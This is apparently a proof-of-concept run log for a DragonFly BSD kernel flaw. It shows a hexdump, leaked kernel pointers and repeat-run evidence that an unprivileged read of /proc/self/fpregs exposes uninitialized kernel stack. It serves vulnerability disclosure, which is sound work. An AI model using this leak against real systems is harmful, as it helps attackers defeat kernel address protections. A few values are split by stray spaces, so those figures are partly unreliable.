DF-0938 / run.log
=== DF-0938 PoC decisive run (unprivileged user maxx, unpatched #0 kernel) === guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 cmd: cc -O2 -o poc poc.c && ./poc | hexdump -C user: maxx (uid 1001, not in wheel) $ ./poc read 512 bytes 287 non-zero non-0xAA bytes in tail [108..512) (leaked kernel stack) === full hexdump of /proc/self/fpregs read (512 bytes) === 00000000 7f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000070 88 38 49 18 01 f8 ff ff 00 00 00 00 00 00 00 00 |.8I.............| 00000080 78 35 49 18 01 f8 ff ff 53 4f 9d 80 ff ff ff ff |x5I.....SO......| 00000090 a8 35 49 18 01 f8 ff ff 6e 87 6d 80 ff ff ff ff |.5I.....n.m.....| 000000a0 80 01 06 4f e9 03 00 00 00 8c cb 8d 00 f8 ff ff |...O............| 000000b0 00 02 00 00 00 00 00 00 00 17 db 90 00 f8 ff ff |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 |................| 000000d0 0a 64 cb 8d 00 f8 ff ff 80 1d d1 16 01 f8 ff ff |.d..............| 000000e0 80 1d d1 16 01 f8 ff ff 80 1d d1 16 01 f8 ff ff |................| 000000f0 f8 35 49 18 01 f8 ff ff 0d 2e 71 80 ff ff ff ff |.5I.......q.....| 00000100 f0 95 93 16 01 f8 ff ff f0 95 93 16 01 f8 ff ff |................| 00000110 28 36 49 18 01 f8 ff ff c3 41 71 80 ff ff ff ff |(6I......Aq.....| 00000120 00 8c cb 8d 00 f8 ff ff 80 85 88 16 01 f8 ff ff |................| 00000130 00 14 af 8d 00 f8 ff ff 01 00 00 00 00 00 00 00 |................| 00000140 b8 36 49 18 01 f8 ff ff bc 9f 70 80 ff ff ff ff |.6I.......p.....| 00000150 c0 18 db 90 00 f8 ff ff 01 00 00 00 00 00 00 00 |................| 00000160 c0 db 0e 81 ff ff ff ff 80 85 88 16 01 f8 ff ff |................| 00000170 b8 36 49 18 01 f8 ff ff f8 0a 6e 80 ff ff ff ff |.6I.......n.....| 00000180 80 39 81 16 01 f8 ff ff 80 39 81 16 01 f8 ff ff |.9.......9......| 00000190 80 89 95 16 01 f8 ff ff 00 00 00 00 00 00 00 00 |................| 000001a0 01 00 00 00 00 00 00 00 88 38 49 18 02 00 00 00 |.........8I.....| 000001b0 b8 36 49 18 01 f8 ff ff 28 38 49 18 01 f8 ff ff |.6I.....(8I.....| 000001c0 80 1e f5 8d 00 f8 ff ff 00 04 00 00 00 00 00 00 |................| 000001d0 00 00 00 00 00 00 00 00 d0 93 70 80 00 00 00 00 |..........p.....| 000001e0 00 00 00 00 60 09 00 00 20 96 93 16 01 f8 ff ff |....`... .......| 000001f0 a8 21 d1 16 01 f8 ff ff 80 1d d1 16 01 f8 ff ff |.!..............| 00000200 === leaked qwords (kernel VA ranges) at offsets 0x70..0x1f8 === offset 0x70: fffff80118493888 (offset 0x80: fffff80118493578, ffffffff809d4f53) offset 0x90: fffff801184935a8, ffffffff806d876e offset 0xa8: fffff8008dcb8c00 offset 0xb8: fffff80090db1700 offset 0xd0: fffff8008dcb640a offset 0xd8: fffff80116d11d80 (x3) offset 0xf0: fffff801184935f8, ffffffff80712e0d offset 0x100: fffff801169395f0 (x2) offset 0x118: ffffffff807141c3 offset 0x128: fffff801168858 80 offset 0x138: fffff8008daf1400 offset 0x148: ffffffff80709fbc offset 0x158: fffff80090db18c0 offset 0x168: ffffffff810edbc0 (in kernel .text, near proc0=0xffffffff81176920) offset 0x178: ffffffff806e0af8 offset 0x188: fffff80116813980 (x2) offset 0x198: fffff801169589 80 offset 0x1b8: fffff801184936b8 (x3) offset 0x1c8: fffff8008df51e80 offset 0x1e8: fffff80116939620 === variance proof (3 runs) === run1: 300 non-zero bytes; qword@0x100=fffff801169395f0 run2: 299 non-zero bytes; qword@0x100=fffff80116939d20 <-- differs run3: 298 non-zero bytes; qword@0x100=fffff80116939c80 <-- differs SHA256(run1)=c3c548067204a9e6ea678657b76650aa3fc0d74b92da44ccdeab6273b3e16fc5 SHA256(run2)=81660ccec9fef97a6ed17d0f944fbe87d9774d2c17a1bc29304ee4429e9caf5b SHA256(run3)=4b33866075f12b97200b3a5d1769e2e3f0d04b9244509bbf5acd95f2b4ad8b22 CONCLUSION: ~300 bytes of uninitialized kernel stack (including multiple kernel-virtual pointers in 0xfffff800/0xfffff801/0xffffffff80xxxxxxxx ranges) are leaked per /proc/self/fpregs read by any unprivileged user. Variance across runs confirms it is stale stack, not deterministic FPU state. RUN_EXIT=0 (no panic; pure info leak)